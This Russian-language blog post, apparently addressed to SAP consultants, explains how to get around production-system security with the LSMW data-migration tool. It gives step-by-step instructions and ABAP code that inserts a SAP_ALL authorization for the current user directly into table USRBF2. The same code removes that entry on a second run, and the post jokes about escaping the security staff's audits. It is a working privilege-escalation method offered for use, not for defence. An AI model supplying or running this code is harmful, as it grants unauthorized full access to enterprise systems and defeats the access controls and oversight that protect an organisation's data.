Один из хороших людей написал для нас всех материал, которым стоит поделиться. Речь про дырки в системах, про безопасность продуктива и как ее обойти с помощью LSMW — инструмента миграции данных, стандартного для проектов SAP.
Как обычно в работе консультанта периодически возникает «крайняя необходимость» что-нибудь поправить в таблице или в отладчике поправить переменную, а добрые дядечки из службы безопасности и столь же добрые администраторы, давно решили что это нам не нужно да и вообще, сложилось впечатление, что лучше всего когда мы не работаем в системе за компом, а смотрим на нее из далека и на ментальном уровне мигрируем данные или разбираем инциденты сыплющиеся как из рога изобилия на наши больные после вчерашнего долгого трудового дня головы.
И вот тут то нам может помочь один из способов махонького поправления настроек системы в нужную сторону (все что нам требуется — это «совсем крохотные» полномочия на s_develop). Один из них я ниже и постараюсь описать. Выбор пал на LSMW, и так сказать упал он не случайно, так чаще всего project, subproject и object создавать все же разрешают, но полномочиями на ABAP-редактор в продуктивной системе все те же добрые люди не делятся. Но лиха беда начало! Если есть доступ к системе разработки, в которой такой подарок судьбы вполне имеет право существовать, да и даже в случае если таких полномочий нет, не стоит отчаиваться, редактирование текста LSMWэшки в «Блокноте» нам и вам в помощь. Итак, смысл в том, что проект LSMW можно как экспортировать, так и импортировать, поэтому грех не воспользоваться такой прекрасной возможностью.
Первое что предстоит сделать, это создать новый объект в LSMW и записать к нему рекординг, какой-нибудь легонькой (с одним полем лучше всего) транзакции. Для записи достаточно войти в транзакцию и выйти из неё. В Maintain Source Fields оставляем (в случае если их все же несколько) любое понравившееся поле. Далее создаем структуру и поля. Наша цель в пункте Maintain Field Mapping and Conversion Rules, он то нам и требуется. Переходим в к разделу Code и после “Structure_Relations-Fild1 = Source_Structures-Fild1.” добавляем (да простят мне господа разработчики мою неграмотность, но это работает):
Data: lt_pa_us type table of usrbf2 with header line,
ls_pa_us like lt_pa_us,
lv_pa_auth like lt_pa_us-auth,
lv_pa_objct like lt_pa_us-objct.
lv_pa_objct = ‘S_DEVELOP’.
lv_pa_auth = ‘&_SAP_ALL’.
select * into table lt_pa_us from usrbf2 where bname = g_userid
and objct = lv_pa_objct
and auth = lv_pa_auth.
if sy-subrc = 0.
Delete from usrbf2 where bname = g_userid
and objct = lv_pa_objct
and auth = lv_pa_auth.
else.
ls_pa_us-mandt = ‘свой мандант’.
ls_pa_us-bname = g_userid.
ls_pa_us-objct = lv_pa_objct.
ls_pa_us-auth = lv_pa_auth.
insert into usrbf2 values ls_pa_us.
endif.
Дале создаем txt-файлик с одним единственным полем и значением; пункт Read Data; пункт Convert Data. При запуске Convert Data программа и сделает всё нам нужное – это конечный пункт. При этом при первом запуске строчка с полномочиями добавляется, а при втором удаляется. Добавили, сделали, удалили. Да, и не забываем про возможный аудит таблицы с полномочиями со стороны упомянутых в начале статьи личностей и конфискацию имущества.